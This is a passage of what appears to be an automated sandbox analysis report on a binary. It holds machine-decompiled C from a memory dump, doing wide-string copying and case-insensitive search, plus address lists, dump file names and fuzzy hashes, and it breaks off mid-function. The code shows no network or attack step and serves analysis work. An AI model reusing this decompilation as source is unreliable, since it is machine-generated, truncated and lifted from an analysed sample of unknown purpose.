							_t300 = (_t335 >> 1) + _t293;
							goto L63;
						}
						_t335 = 0;
						__eflags = _t293 & 0x00000001;
						if((_t293 & 0x00000001) != 0) {
							goto L20;
						}
						_t293 =  ~_t293 + 0x10 >> 1;
						__eflags = _t293;
						while(1) {
							_t367 =  *(_t422 + _t335 * 2) & 0x0000ffff;
							__eflags = _t367;
							if(_t367 == 0) {
								goto L63;
							}
							_t335 = _t335 + 1;
							__eflags = _t335 - _t293;
							if(_t335 < _t293) {
								continue;
							}
							goto L16;
						}
						goto L63;
					}
					_t231 =  &_v52;
					goto L38;
				}
				if(_t422 == 0) {
					L6:
					_push(2);
					_push(_t217);
					E6EFF10B0();
					_t461 = _t461 + 8;
					goto L8;
				}
				_t367 =  *_t217 & 0x0000ffff;
				 *_t422 = _t367;
				if(_t367 == 0) {
					goto L6;
				}
				while(1) {
					_t367 = 1;
					_t365 = _t217[1] & 0x0000ffff;
					 *(_t422 + 2) = _t365;
					if(_t365 == 0) {
						goto L6;
					}
					_t366 = _t217[2] & 0x0000ffff;
					 *(_t422 + 4) = _t366;
					if(_t366 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6effb6fe
0x6effb702
0x6effb704
0x6effb708
0x6effb712
0x6effb714
0x6effb717
0x6effb71d
0x6effb757
0x6effb759
0x6effb75c
0x6effb760
0x6effb768
0x6effb76e
0x6effb779
0x6effb77b
0x6effbf3a
0x6effbf3f
0x6effb7ff
0x6effb804
0x6effb804
0x6effb807
0x6effb80a
0x6effb80d
0x6effb80f
0x6effb824
0x6effb827
0x6effb827
0x6effb82d
0x6effb835
0x6effb835
0x6effb835
0x6effb836
0x6effb840
0x6effb847
0x6effb848
0x6effb850
0x6effb852
0x6effb855
0x6effb859
0x6effb85b
0x6effb8a3
0x6effb8a5
0x00000000
0x6effb85d
0x6effb85d
0x6effb85f
0x6effb88e
0x6effb88e
0x6effb890
0x6effb891
0x6effb895
0x6effb89a
0x6effb89e
0x6effb8a8
0x6effb8a8
0x6effb8ac
0x6effb8b0
0x6effb8b4
0x6effb8b8
0x6effb8be
0x6effb8c2
0x6effb8c7
0x6effb8c7
0x6effb8cb
0x6effb8d4
0x6effb8d4
0x6effb8d9
0x6effb8de
0x6effb8e0
0x6effb8e8
0x6effb8ea
0x6effb8f0
0x6effb8f4
0x6effb933
0x6effb9e2
0x6effb9e2
0x6effb9e5
0x6effb9e7
0x6effb9ee
0x6effb9ee
0x6effb9f0
0x6effb9f4
0x6effb9fe
0x6effba02
0x6effba12
0x6effba12
0x6effb8f8
0x6effb921
0x6effb921
0x6effb923
0x6effb924
0x6effb929
0x00000000
0x6effb929
0x6effb8fa
0x6effb8fd
0x6effb902
0x00000000
0x00000000
0x6effb904
0x6effb906
0x6effb906
0x6effb907
0x6effb90c
0x6effb913
0x00000000
0x00000000
0x6effb915
0x6effb919
0x6effb91f
0x00000000
0x00000000
0x00000000
0x6effb91f
0x00000000
0x6effb906
0x6effb8cd
0x6effb8d2
0x6effb93b
0x6effb93d
0x6effb93f
0x6effb983
0x6effb983
0x6effb988
0x6effb98d
0x6effb98f
0x6effb997
0x6effb999
0x6effb99f
0x6effb9a1
0x6effb9a3
0x6effb9dd
0x6effb9df
0x00000000
0x6effb9df
0x6effb9a5
0x6effb9a7
0x6effb9d0
0x6effb9d0
0x6effb9d2
0x6effb9d3
0x6effb9d8
0x00000000
0x6effb9d8
0x6effb9a9
0x6effb9ac
0x6effb9af
0x6effb9b1
0x00000000
0x00000000
0x6effb9b3
0x6effb9b3
0x6effb9b5
0x6effb9b5
0x6effb9b6
0x6effb9bb
0x6effb9c0
0x6effb9c2
0x00000000
0x00000000
0x6effb9c4
0x6effb9c8
0x6effb9cc
0x6effb9ce
0x00000000
0x00000000
0x00000000
0x6effb9ce
0x00000000
0x6effb9b5
0x6effb944
0x6effb946
0x00000000
0x00000000
0x6effb948
0x6effb94c
0x6effb94f
0x6effb952
0x6effb955
0x6effb958
0x6effb958
0x6effb95a
0x6effb95d
0x6effb961
0x6effb961
0x6effb965
0x6effb968
0x6effb96b
0x6effb96e
0x6effb971
0x6effb974
0x00000000
0x00000000
0x6effb97a
0x6effb97f
0x6effb981
0x00000000
0x00000000
0x00000000
0x6effb981
0x6effba32
0x6effba36
0x6effba39
0x6effba3b
0x00000000
0x00000000
0x6effba43
0x6effba46
0x6effba50
0x6effba56
0x6effba58
0x6effba5c
0x6effba6d
0x6effba6d
0x6effba6d
0x6effba6f
0x6effba71
0x00000000
0x00000000
0x6effba73
0x6effba75
0x6effba77
0x6effbaf0
0x6effbaf0
0x6effbaf4
0x6effbaf8
0x6effbafc
0x6effbafe
0x00000000
0x00000000
0x6effbb04
0x6effbb05
0x6effbb0a
0x00000000
0x00000000
0x6effbb0c
0x6effbb10
0x6effbb14
0x6effbb14
0x6effbb19
0x6effbb19
0x6effbb1d
0x6effbb1d
0x6effbb1f
0x6effbb22
0x6effbb26
0x6effbb2a
0x6effbb2a
0x6effbb35
0x6effbb39
0x6effbb3f
0x6effbb42
0x6effbb48
0x6effbb4e
0x6effbb51
0x6effbb54
0x00000000
0x00000000
0x6effbb60
0x6effbb62
0x6effbb6b
0x6effbb6b
0x6effbb6e
0x6effbb72
0x6effbb76
0x6effbb7a
0x6effbb7e
0x6effbb7e
0x6effbb80
0x00000000
0x00000000
0x6effbb86
0x6effbb88
0x6effbbae
0x6effbbba
0x6effbbba
0x6effbbc0
0x6effbbc0
0x6effbbc5
0x6effbbc9
0x6effbbcd
0x6effbbcf
0x00000000
0x00000000
0x6effbbd5
0x6effbbd8
0x6effbbda
0x00000000
0x00000000
0x6effbbdc
0x6effbbe2
0x6effbbf5
0x6effbbf5
0x6effbbfa
0x6effbbfc
0x6effbbfc
0x6effbbff
0x6effbc1f
0x6effbc2b
0x6effbc2b
0x6effbc31
0x6effbc31
0x6effbc36
0x6effbc3a
0x6effbc3e
0x6effbc40
0x00000000
0x00000000
0x6effbc46
0x6effbc49
0x6effbc4b
0x00000000
0x00000000
0x6effbc4d
0x6effbc53
0x6effbc66
0x6effbc66
0x6effbc6b
0x6effbc6f
0x6effbc73
0x6effbc75
0x6effbc78
0x6effbc7a
0x6effbc7d
0x6effbc7f
0x6effbc82
0x6effbc85
0x6effbc87
0x6effbc8a
0x6effbc8c
0x6effbde2
0x6effbde2
0x6effbdec
0x6effbdee
0x6effbdf4
0x6effbdf6
0x6effbdf8
0x6effbe37
0x00000000
0x6effbe37
0x6effbdfa
0x6effbdfc
0x6effbe25
0x6effbe25
0x6effbe27
0x6effbe28
0x6effbe2d
0x00000000
0x6effbe2d
0x6effbdfe
0x6effbe01
0x6effbe04
0x6effbe06
0x00000000
0x00000000
0x6effbe08
0x6effbe08
0x6effbe0a
0x6effbe0a
0x6effbe0b
0x6effbe10
0x6effbe15
0x6effbe17
0x00000000
0x00000000
0x6effbe19
0x6effbe1d
0x6effbe21
0x6effbe23
0x00000000
0x00000000
0x00000000
0x6effbe23
0x00000000
0x6effbe0a
0x6effbc92
0x6effbc95
0x6effbc97
0x00000000
0x00000000
0x6effbc9d
0x6effbc9f
0x6effbd0f
0x6effbd14
0x6effbd14
0x6effbd17
0x6effbd1a
0x6effbd1d
0x6effbd1f
0x6effbd32
0x6effbd35
0x6effbd35
0x6effbd3b
0x6effbd43
0x6effbd43
0x6effbd43
0x6effbd44
0x6effbd4e
0x6effbd58
0x6effbd5b
0x6effbd61
0x6effbd63
0x6effbd69
0x6effbd6b
0x6effbd6d
0x6effbda7
0x6effbda9
0x00000000
0x6effbd6f
0x6effbd6f
0x6effbd71
0x6effbd9a
0x6effbd9a
0x6effbd9c
0x6effbd9d
0x6effbda2
0x6effbdac
0x6effbdac
0x6effbdb2
0x6effbdb5
0x6effbdb7
0x6effbdb7
0x6effbdb9
0x00000000
0x00000000
0x6effbdbf
0x6effbdc9
0x6effbdc9
0x6effbdcc
0x6effbdcd
0x6effbdd0
0x6effbdd2
0x00000000
0x00000000
0x6effbdd4
0x6effbdd6
0x6effbe4a
0x00000000
0x6effbe4a
0x6effbdd8
0x6effbdd8
0x6effbdda
0x00000000
0x00000000
0x6effbdc3
0x6effbdc6
0x6effbdc6
0x6effbdc6
0x6effbdc9
0x6effbd73
0x6effbd76
0x6effbd79
0x6effbd7b
0x00000000
0x00000000
0x6effbd7d
0x6effbd7d
0x6effbd7f
0x6effbd7f
0x6effbd80
0x6effbd85
0x6effbd8a
0x6effbd8c
0x00000000
0x00000000
0x6effbd8e
0x6effbd92
0x6effbd96
0x6effbd98
0x00000000
0x00000000
0x00000000
0x6effbd98
0x00000000
0x6effbd7f
0x6effbd6d
0x6effbd21
0x00000000
0x6effbd21
0x6effbca3
0x6effbca3
0x6effbca6
0x6effbcc3
0x6effbccf
0x6effbccf
0x6effbcd5
0x6effbcd5
0x6effbcda
0x6effbcde
0x6effbce2
0x6effbce4
0x00000000
0x00000000
0x6effbcea
0x6effbced
0x6effbcef
0x00000000
0x00000000
0x6effbcf1
0x6effbcf7
0x6effbd0a
0x6effbd0a
0x00000000
0x00000000
0x00000000
0x00000000
0x6effbcf9
0x6effbcf9
0x6effbcfd
0x6effbcff
0x00000000
0x00000000
0x6effbd01
0x6effbd02
0x6effbd08
0x00000000
0x00000000
0x00000000
0x6effbd08
0x00000000
0x6effbcf9
0x6effbe7a
0x6effbe7f
0x00000000
0x6effbe7f
0x6effbca8
0x6effbcaa
0x6effbcad
0x00000000
0x00000000
0x6effbcb4
0x6effbcb4
0x6effbcb6
0x6effbcb6
0x6effbcba
0x6effbcbc
0x00000000
0x00000000
0x6effbcbe
0x6effbcbf
0x6effbcc1
0x00000000
0x00000000
0x00000000
0x6effbcc1
0x00000000
0x00000000
0x00000000
0x00000000
0x6effbc55
0x6effbc55
0x6effbc59
0x6effbc5b
0x00000000
0x00000000
0x6effbc5d
0x6effbc5e
0x6effbc64
0x00000000
0x00000000
0x00000000
0x6effbc64
0x00000000
0x6effbc55
0x6effbe86
0x6effbe8b
0x00000000
0x6effbe8b
0x6effbc01
0x6effbc03
0x6effbc09
0x00000000
0x00000000
0x6effbc10
0x6effbc10
0x6effbc12
0x6effbc12
0x6effbc16
0x6effbc18
0x00000000
0x00000000
0x6effbc1a
0x6effbc1b
0x6effbc1d
0x00000000
0x00000000
0x00000000
0x6effbc1d
0x00000000
0x00000000
0x00000000
0x00000000
0x6effbbe4
0x6effbbe4
0x6effbbe8
0x6effbbea
0x00000000
0x00000000
0x6effbbec
0x6effbbed
0x6effbbf3
0x00000000
0x00000000
0x00000000
0x6effbbf3
0x00000000
0x6effbbe4
0x6effbe92
0x6effbe97
0x00000000
0x6effbe97
0x6effbb8a
0x6effbb8c
0x6effbb91
0x00000000
0x00000000
0x6effbb93
0x6effbb97
0x6effbb99
0x6effbb9d
0x6effbb9f
0x00000000
0x00000000
0x6effbba5
0x6effbba6
0x6effbba8
0x00000000
0x00000000
0x6effbbaa
0x00000000
0x6effbbaa
0x6effbe3f
0x00000000
0x6effbe3f
0x6effbb64
0x6effbb65
0x6effbb69
0x00000000
0x00000000
0x00000000
0x6effbb69
0x6effbe9e
0x6effbea1
0x6effbea5
0x6effbeab
0x6effbeab
0x6effbeae
0x00000000
0x00000000
0x6effbeb8
0x6effbeba
0x00000000
0x00000000
0x6effbec0
0x6effbec3
0x6effbec3
0x6effbec5
0x6effbec9
0x6effbecd
0x6effbed1
0x6effbed1
0x6effbedb
0x6effbede
0x6effbee4
0x6effbeee
0x6effbef1
0x6effbef4
0x00000000
0x00000000
0x6effbefe
0x6effbf00
0x00000000
0x00000000
0x00000000
0x6effbf02
0x6effba62
0x6effba65
0x6effba69
0x00000000
0x6effba69
0x6effbf07
0x6effbf0b
0x6effbe5f
0x6effbe5f
0x6effbe61
0x00000000
0x00000000
0x6effbe67
0x00000000
0x00000000
0x6effbe6d
0x6effbe71
0x00000000
0x6effbe71
0x6effba79
0x6effba7d
0x6effba7f
0x6effba83
0x6effba87
0x6effba8b
0x6effba8d
0x00000000
0x00000000
0x6effba93
0x6effba94
0x6effba96
0x00000000
0x00000000
0x6effba98
0x6effba9c
0x6effbaa0
0x00000000
0x6effbaa0
0x6effbe53
0x6effbe57
0x6effbe5b
0x00000000
0x6effbaa4
0x6effbab0
0x6effbab4
0x6effbab4
0x6effbab9
0x6effbabd
0x6effbac1
0x6effbac1
0x6effbac6
0x6effbaca
0x6effbace
0x6effbad0
0x00000000
0x00000000
0x6effbad6
0x6effbad9
0x6effbadb
0x00000000
0x00000000
0x6effbadd
0x6effbae1
0x6effbae5
0x6effbae9
0x6effbaee
0x00000000
0x00000000
0x00000000
0x6effbaee
0x6effbf16
0x6effbf1b
0x6effbf1f
0x6effbf21
0x6effbf25
0x00000000
0x6effbf25
0x6effba6d
0x00000000
0x6effb8d2
0x6effb861
0x6effb864
0x6effb867
0x6effb869
0x00000000
0x00000000
0x6effb86b
0x6effb86e
0x6effb86e
0x6effb870
0x6effb870
0x6effb871
0x6effb876
0x6effb87b
0x6effb87d
0x00000000
0x00000000
0x6effb87f
0x6effb883
0x6effb887
0x6effb889
0x00000000
0x00000000
0x00000000
0x6effb889
0x6effb88b
0x00000000
0x6effb88b
0x6effb85b
0x6effb811
0x00000000
0x6effb811
0x6effb783
0x6effb783
0x6effb786
0x6effb7a6
0x6effb7aa
0x6effb7b6
0x6effb7b6
0x6effb7bc
0x6effb7bc
0x6effb7c1
0x6effb7c5
0x6effb7c9
0x6effb7cb
0x00000000
0x00000000
0x6effb7d1
0x6effb7d4
0x6effb7d6
0x00000000
0x00000000
0x6effb7d8
0x6effb7de
0x6effb7f5
0x6effb7f5
0x6effb7fa
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb7e0
0x6effb7e0
0x6effb7e4
0x6effb7e6
0x00000000
0x00000000
0x6effb7ec
0x6effb7ed
0x6effb7f3
0x00000000
0x00000000
0x00000000
0x6effb7f3
0x6effba15
0x6effba15
0x6effba18
0x6effba28
0x6effba1a
0x6effba1c
0x6effba1f
0x6effba1f
0x00000000
0x6effba18
0x6effbf2e
0x6effbf33
0x00000000
0x6effbf33
0x6effb788
0x6effb78a
0x6effb78c
0x00000000
0x00000000
0x6effb793
0x6effb793
0x6effb795
0x6effb795
0x6effb799
0x6effb79b
0x00000000
0x00000000
0x6effb7a1
0x6effb7a2
0x6effb7a4
0x00000000
0x00000000
0x00000000
0x6effb7a4
0x00000000
0x6effb795
0x6effb770
0x00000000
0x6effb770
0x6effb721
0x6effb74a
0x6effb74a
0x6effb74c
0x6effb74d
0x6effb752
0x00000000
0x6effb752
0x6effb723
0x6effb726
0x6effb72b
0x00000000
0x00000000
0x6effb72f
0x6effb72f
0x6effb730
0x6effb735
0x6effb73c
0x00000000
0x00000000
0x6effb73e
0x6effb742
0x6effb748
0x00000000
0x00000000
0x00000000
0x6effb748
0x00000000

Strings

@, xrefs: 6EFFB760

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0beef277e831ee5b6f040fee2b591ecf537cd5d41fbc7949637f2daeaf3f676f
Instruction ID: 24a504918c3785678da8fef19d13ccccbbcec6936d577cd6962e190d88046ae3
Opcode Fuzzy Hash: 0beef277e831ee5b6f040fee2b591ecf537cd5d41fbc7949637f2daeaf3f676f
Instruction Fuzzy Hash: DC32D375A04713CBD7548FA9C4B062A73E2BFC4710F148A2DE9A5873B8EB75D846C392

Uniqueness

Uniqueness Score: -1.00%

Function 6EFFA660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6EFFA660(signed int __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* _t219;
				signed int _t220;
				signed int _t221;
				signed int _t224;
				signed short** _t227;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t237;
				signed int _t238;
				signed int _t240;
				unsigned int _t242;
				signed int _t248;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t260;
				signed int _t263;
				signed int _t264;
				unsigned int _t270;
				signed int _t271;
				signed int _t273;
				signed int _t280;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t288;
				signed int _t293;
				signed int _t294;
				signed int _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t309;
				signed int _t312;
				unsigned int _t318;
				signed int _t319;
				signed int _t321;
				signed short* _t323;
				signed int _t324;
				signed int _t325;
				unsigned int _t326;
				signed int _t331;
				signed int _t333;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed short* _t344;
				signed int _t345;
				signed short* _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t356;
				signed int _t362;
				unsigned int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				void* _t369;
				signed int _t370;
				signed int _t371;
				signed int _t376;
				signed int _t378;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t403;
				signed int _t404;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t417;
				signed int _t418;
				signed int _t421;
				signed int* _t422;
				signed int _t425;
				signed int _t428;
				signed int _t432;
				signed int _t434;
				signed int _t438;
				signed int _t439;
				signed int _t440;
				signed int _t441;
				signed int _t444;
				void* _t447;

				_t312 = __ecx;
				_t296 = 0;
				_v40 = 0;
				_t398 = __ecx;
				_v36 = 0;
				_push(0x80);
				_t417 = E6EFF1030();
				_t447 = (_t444 & 0xfffffff0) - 0x34 + 4;
				_t344 = _v40;
				if(_t344 == 0) {
					 *_t417 = 0;
					L8:
					_v36 = 0x40;
					_v40 = _t417;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t417;
						if(_t417 == 0) {
							_t418 = 0x40;
							_t345 = _t296;
							L23:
							_t24 = _t345 + 2; // -2147483652
							_t219 = _t24;
							__eflags = _t219 - 0x40;
							_t220 =  <=  ? 0x40 : _t219;
							__eflags = _t418 - _t220;
							if(_t418 < _t220) {
								_t318 = (_t220 >> 5 >> 0x1a) + _t220 >> 6;
								_t221 = _t220 & 0x8000003f;
								__eflags = _t221;
								if(_t221 < 0) {
									_t221 = (_t221 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t221;
								}
								__eflags = _t221;
								_t319 = _t318 + (_t296 & 0xffffff00 | _t221 > 0x00000000);
								_v64 = _t319 << 6;
								_push(_t319 << 7);
								_v60 = _t345;
								_t224 = E6EFF1030();
								_t345 = _v60;
								_t421 = _t224;
								_t447 = _t447 + 4;
								_t321 = _v40;
								__eflags = _t321;
								if(_t321 == 0) {
									 *_t421 = _t296;
									goto L36;
								} else {
									__eflags = _t421;
									if(_t421 == 0) {
										L34:
										_push(2);
										_push(_t321);
										_v60 = _t345;
										E6EFF10B0();
										_t345 = _v60;
										_t447 = _t447 + 8;
										L36:
										_v36 = _v64;
										_v40 = _t421;
										L37:
										 *((short*)(_t421 + _t345 * 2)) = _a8 & 0x0000ffff;
										_t227 =  &_v40;
										 *( *_t227 + 2 + _t345 * 2) = _t296;
										L38:
										_t346 =  *_t227;
										_t422 = _a4;
										if(_t346 == 0) {
											L40:
											_push(0x80);
											 *_t422 = _t296;
											_t422[1] = _t296;
											_t399 = E6EFF1030();
											_t447 = _t447 + 4;
											_t323 =  *_t422;
											if(_t323 == 0) {
												 *_t399 = _t296;
												L62:
												 *_t422 = _t399;
												_t422[1] = 0x40;
												L63:
												_push(2);
												_push(_v40);
												E6EFF10B0();
												_v40 = _t296;
												_v36 = _t296;
												return _t422;
											}
											if(_t399 == 0) {
												L46:
												_push(2);
												_push(_t323);
												E6EFF10B0();
												_t447 = _t447 + 8;
												goto L62;
											}
											_t347 =  *_t323 & 0x0000ffff;
											 *_t399 = _t347;
											if(_t347 == 0) {
												goto L46;
											}
											_t348 = _t296;
											while(1) {
												_t348 = _t348 + 1;
												_t232 =  *(_t323 + _t348 * 4 - 2) & 0x0000ffff;
												 *(_t399 + _t348 * 4 - 2) = _t232;
												if(_t232 == 0) {
													goto L46;
												}
												_t233 =  *(_t323 + _t348 * 4) & 0x0000ffff;
												 *(_t399 + _t348 * 4) = _t233;
												if(_t233 != 0) {
													continue;
												}
												goto L46;
											}
											goto L46;
										}
										_t234 =  *_t346 & 0x0000ffff;
										if(_t234 != 0) {
											_t324 =  *_t398;
											__eflags = _t324;
											if(_t324 == 0) {
												L54:
												_push(0x80);
												 *_t422 = _t296;
												_t422[1] = _t296;
												_t399 = E6EFF1030();
												_t447 = _t447 + 4;
												_t325 =  *_t422;
												__eflags = _t325;
												if(_t325 == 0) {
													 *_t399 = _t296;
													goto L62;
												}
												__eflags = _t399;
												if(_t399 == 0) {
													L60:
													_push(2);
													_push(_t325);
													E6EFF10B0();
													_t447 = _t447 + 8;
													goto L62;
												}
												_t349 =  *_t325 & 0x0000ffff;
												 *_t399 = _t349;
												__eflags = _t349;
												if(_t349 == 0) {
													goto L60;
												}
												_t350 = _t296;
												while(1) {
													_t350 = _t350 + 1;
													_t237 =  *(_t325 + _t350 * 4 - 2) & 0x0000ffff;
													 *(_t399 + _t350 * 4 - 2) = _t237;
													__eflags = _t237;
													if(_t237 == 0) {
														goto L60;
													}
													_t238 =  *(_t325 + _t350 * 4) & 0x0000ffff;
													 *(_t399 + _t350 * 4) = _t238;
													__eflags = _t238;
													if(_t238 != 0) {
														continue;
													}
													goto L60;
												}
												goto L60;
											}
											__eflags =  *_t324 & 0x0000ffff;
											if(( *_t324 & 0x0000ffff) == 0) {
												goto L54;
											}
											_v32 = _t346;
											__eflags = _t234 - 0x41 - 0x19;
											_t239 =  <=  ? _t234 + 0x20 : _t234;
											_t403 = _t296;
											_t240 = ( <=  ? _t234 + 0x20 : _t234) & 0x0000ffff;
											_v48 = _t240;
											while(1) {
												_t425 =  *(_t324 + _t403 * 2) & 0x0000ffff;
												__eflags = _t425 - 0x41 - 0x19;
												_t426 =  <=  ? _t425 + 0x20 : _t425;
												__eflags = ( <=  ? _t425 + 0x20 : _t425) - _t240;
												if(( <=  ? _t425 + 0x20 : _t425) == _t240) {
													break;
												}
												_t403 = _t403 + 1;
												__eflags =  *(_t324 + _t403 * 2) & 0x0000ffff;
												if(( *(_t324 + _t403 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												L53:
												_t422 = _a4;
												_t296 = 0;
												__eflags = 0;
												goto L54;
											}
											_t352 = _v32;
											_t404 = _t324 + _t403 * 2;
											_t422 = _a4;
											_t296 = 0;
											__eflags = _t404;
											if(_t404 == 0) {
												goto L54;
											}
											_t428 = _t352 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_v64 = _t428;
											_t242 = _t428 & 0x00000001;
											_v52 = _t242;
											_v56 =  ~_t428 + 0x10 >> 1;
											_v60 = _t324;
											_v32 = _t352;
											_t432 = _v64;
											_t299 = _v56;
											_t326 = _t242;
											while(1) {
												L70:
												_t353 = _t432;
												__eflags = _t432;
												if(_t432 == 0) {
													goto L76;
												}
												_t251 = 0;
												__eflags = _t326;
												if(_t326 != 0) {
													L80:
													_t333 = _v32;
													while(1) {
														__eflags =  *(_t333 + _t251 * 2) & 0x0000ffff;
														if(( *(_t333 + _t251 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t251 = _t251 + 1;
														__eflags = _t251 - 0x7fffffff;
														if(_t251 < 0x7fffffff) {
															continue;
														}
														_v32 = _t333;
														L84:
														_t251 = 0x7fffffff;
														L85:
														_v68 = _t251;
														_t354 = 0;
														__eflags = 0;
														while(1) {
															_t302 =  *(_t404 + _t354 * 2) & 0x0000ffff;
															_t434 =  *(_v32 + _t354 * 2) & 0x0000ffff;
															__eflags = _t302 - 0x61 - 0x19;
															_t303 =  <=  ? _t302 - 0x20 : _t302;
															_t253 = ( <=  ? _t302 - 0x20 : _t302) & 0x0000ffff;
															__eflags = _t434 - 0x61 - 0x19;
															_t435 =  <=  ? _t434 - 0x20 : _t434;
															__eflags = _t253 - ( <=  ? _t434 - 0x20 : _t434);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t253;
															if(_t253 == 0) {
																L90:
																_t335 = _v60;
																_t296 = 0;
																_t422 = _a4;
																__eflags = _t404;
																if(_t404 == 0) {
																	goto L54;
																}
																_t406 = _t404 - _t335;
																__eflags = _t406;
																_t407 = _t406 >> 1;
																if(_t406 != 0) {
																	_t257 = _t335 & 0x0000000f;
																	__eflags = _t257;
																	if(_t257 == 0) {
																		L106:
																		_t362 =  ~( ~_t257 + 0x00000007 & 0x00000007) + 0x7fffffff;
																		__eflags = _t362;
																		while(1) {
																			asm("movdqu xmm1, [ecx+eax*2]");
																			asm("pcmpeqw xmm1, xmm0");
																			asm("pmovmskb ebx, xmm1");
																			__eflags = _t296;
																			if(_t296 != 0) {
																				break;
																			}
																			_t257 = _t257 + 8;
																			__eflags = _t257 - _t362;
																			if(_t257 < _t362) {
																				continue;
																			}
																			_t296 = 0;
																			__eflags = _t362 - 0x7fffffff;
																			if(_t362 >= 0x7fffffff) {
																				L112:
																				_t362 = 0x7fffffff;
																				L113:
																				_t260 = _t362 >> 0x0000001f & _t362;
																				_t365 = _t362 - _t260;
																				__eflags = _t407;
																				if(_t407 < 0) {
																					L115:
																					_t407 = _t365;
																					L116:
																					 *_t422 = _t296;
																					_t336 = _t335 + _t260 * 2;
																					_t422[1] = _t296;
																					__eflags = _t336;
																					if(_t336 == 0) {
																						L151:
																						_push(0x80);
																						_t399 = E6EFF1030();
																						_t447 = _t447 + 4;
																						_t337 =  *_t422;
																						__eflags = _t337;
																						if(_t337 == 0) {
																							 *_t399 = _t296;
																							goto L62;
																						}
																						__eflags = _t399;
																						if(_t399 == 0) {
																							L157:
																							_push(2);
																							_push(_t337);
																							E6EFF10B0();
																							_t447 = _t447 + 8;
																							goto L62;
																						}
																						_t366 =  *_t337 & 0x0000ffff;
																						 *_t399 = _t366;
																						__eflags = _t366;
																						if(_t366 == 0) {
																							goto L157;
																						}
																						_t367 = _t296;
																						while(1) {
																							_t367 = _t367 + 1;
																							_t263 =  *(_t337 + _t367 * 4 - 2) & 0x0000ffff;
																							 *(_t399 + _t367 * 4 - 2) = _t263;
																							__eflags = _t263;
																							if(_t263 == 0) {
																								goto L157;
																							}
																							_t264 =  *(_t337 + _t367 * 4) & 0x0000ffff;
																							 *(_t399 + _t367 * 4) = _t264;
																							__eflags = _t264;
																							if(_t264 != 0) {
																								continue;
																							}
																							goto L157;
																						}
																						goto L157;
																					}
																					__eflags =  *_t336 & 0x0000ffff;
																					if(( *_t336 & 0x0000ffff) == 0) {
																						goto L151;
																					}
																					__eflags = _t407;
																					if(_t407 != 0) {
																						L131:
																						_t159 = _t407 + 1; // 0x80000000
																						_t369 = _t159;
																						__eflags = _t369 - 0x40;
																						_t370 =  <=  ? 0x40 : _t369;
																						__eflags = _t370;
																						if(_t370 > 0) {
																							_t270 = (_t370 >> 5 >> 0x1a) + _t370 >> 6;
																							_t371 = _t370 & 0x8000003f;
																							__eflags = _t371;
																							if(_t371 < 0) {
																								_t371 = (_t371 - 0x00000001 | 0xffffffc0) + 1;
																								__eflags = _t371;
																							}
																							__eflags = _t371;
																							_t271 = _t270 + (_t296 & 0xffffff00 | _t371 > 0x00000000);
																							_v64 = _t271 << 6;
																							_push(_t271 << 7);
																							_v60 = _t336;
																							_t273 = E6EFF1030();
																							_t336 = _v60;
																							_t447 = _t447 + 4;
																							_t376 =  *_t422;
																							__eflags = _t376;
																							if(_t376 == 0) {
																								 *_t273 = _t296;
																								goto L143;
																							} else {
																								__eflags = _t273;
																								if(_t273 == 0) {
																									L141:
																									_push(2);
																									_push(_t376);
																									_v68 = _t273;
																									_v60 = _t336;
																									E6EFF10B0();
																									_t336 = _v60;
																									_t273 = _v68;
																									_t447 = _t447 + 8;
																									L143:
																									_t422[1] = _v64;
																									 *_t422 = _t273;
																									L144:
																									__eflags = _t273;
																									if(_t273 == 0) {
																										goto L63;
																									}
																									_t378 = _t296;
																									while(1) {
																										_t309 =  *_t336 & 0x0000ffff;
																										_t378 = _t378 + 1;
																										 *_t273 = _t309;
																										__eflags = _t407;
																										if(_t407 == 0) {
																											goto L149;
																										}
																										__eflags = _t378 - _t407;
																										if(_t378 == _t407) {
																											_t296 = 0;
																											 *(_t273 + 2) = 0;
																											goto L63;
																										}
																										L149:
																										__eflags = _t309;
																										if(_t309 == 0) {
																											_t296 = 0;
																											goto L63;
																										}
																										_t273 = _t273 + 2;
																										_t336 = _t336 + 2;
																										__eflags = _t336;
																									}
																								}
																								_t438 =  *_t376 & 0x0000ffff;
																								 *_t273 = _t438;
																								__eflags = _t438;
																								_t422 = _a4;
																								if(_t438 == 0) {
																									goto L141;
																								} else {
																									goto L138;
																								}
																								while(1) {
																									L138:
																									_t296 = _t296 + 1;
																									_t439 =  *(_t376 + _t296 * 4 - 2) & 0x0000ffff;
																									 *(_t273 + _t296 * 4 - 2) = _t439;
																									__eflags = _t439;
																									if(_t439 == 0) {
																										break;
																									}
																									_t440 =  *(_t376 + _t296 * 4) & 0x0000ffff;
